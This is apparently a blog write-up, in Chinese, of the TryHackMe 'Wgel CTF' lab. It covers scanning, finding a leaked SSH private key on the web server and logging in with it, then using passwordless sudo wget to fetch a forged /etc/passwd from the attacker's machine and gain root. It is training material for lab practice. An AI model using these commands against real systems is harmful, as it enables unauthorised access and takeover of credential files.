tryhackme--Wgel CTF
这个靶机涉及的知识点有ssh的公钥算法知识和sudo提权常用手法。
nmap
简单扫描靶机的服务
nmap -T4 -sS -sV 10.10.247.24
深度扫描也没没有什么可以直接利用的漏洞
nmap -T4 -sS -sV 10.10.247.24 --script vuln
目标机器为linux主机,并且目标主机开放了两个端口:22、80。
端口 | 服务 |
---|---|
22 | ssh |
80 | http |
id_rsa信息泄漏
访问80端口,发现为apache的默认页面,查看页面源代码,发现一句很有趣的话,其中 Jessie 可能为用户名
用dirsearch扫描站点,发现一个目录,访问进入真正的网站
但是目前除了一个可能的用户名我们没有其他的信息,试着再对其进行深度扫描,发现一个RSA文件,这个文件是ssh登录用户的私钥,有了用户名和私钥我们便可以登录目标主机。
将它下载下来并赋予权限600
wget http://10.10.247.24/sitemap/.ssh/id_rsa
chmod 600 id_rsa
接下来用私钥登录目标主机
ssh Jessie@10.10.247.24 -i id_rsa
在jessie的家目录经过一番查找发现user flag
wget的sudo提权
查看当前用户是否可以执行sudo命令,要是不了解sudo命令及其提权原理的可以自行百度。可以看到当前用户可以不用密码以root的身份执行wget命令,wget命令有一个-O选项可以重命名下载的文件,因此我们就可以以root的身份之执行该命令,重命名我们编写好的恶意的/etc/passwd文件,达到覆盖目标主机的密码文件的效果。
具体过程如下,我们在攻击机上编写一个全新的/etc/passwd文件,将root的密码替换为我们自己的密码,实在不会弄hash就直接用自己kali上的shaow文件中的hsah值。
在攻击机上开启简易的http服务,靶机上下载修改过的密码文件,可以看到目标主机的密码文件已经被替换。
python -m SimpleHTTPServer //攻击机上执行
sudo -u root /usr/bin/wget http://10.9.xxx.xx:8000/11 -O /etc/passwd //靶机上执行
切换root用户,输入我们替换的hash的对应的密码,成功登录,读取最后的flag。
ps:
个人站点博客:XingHe,欢迎来踩~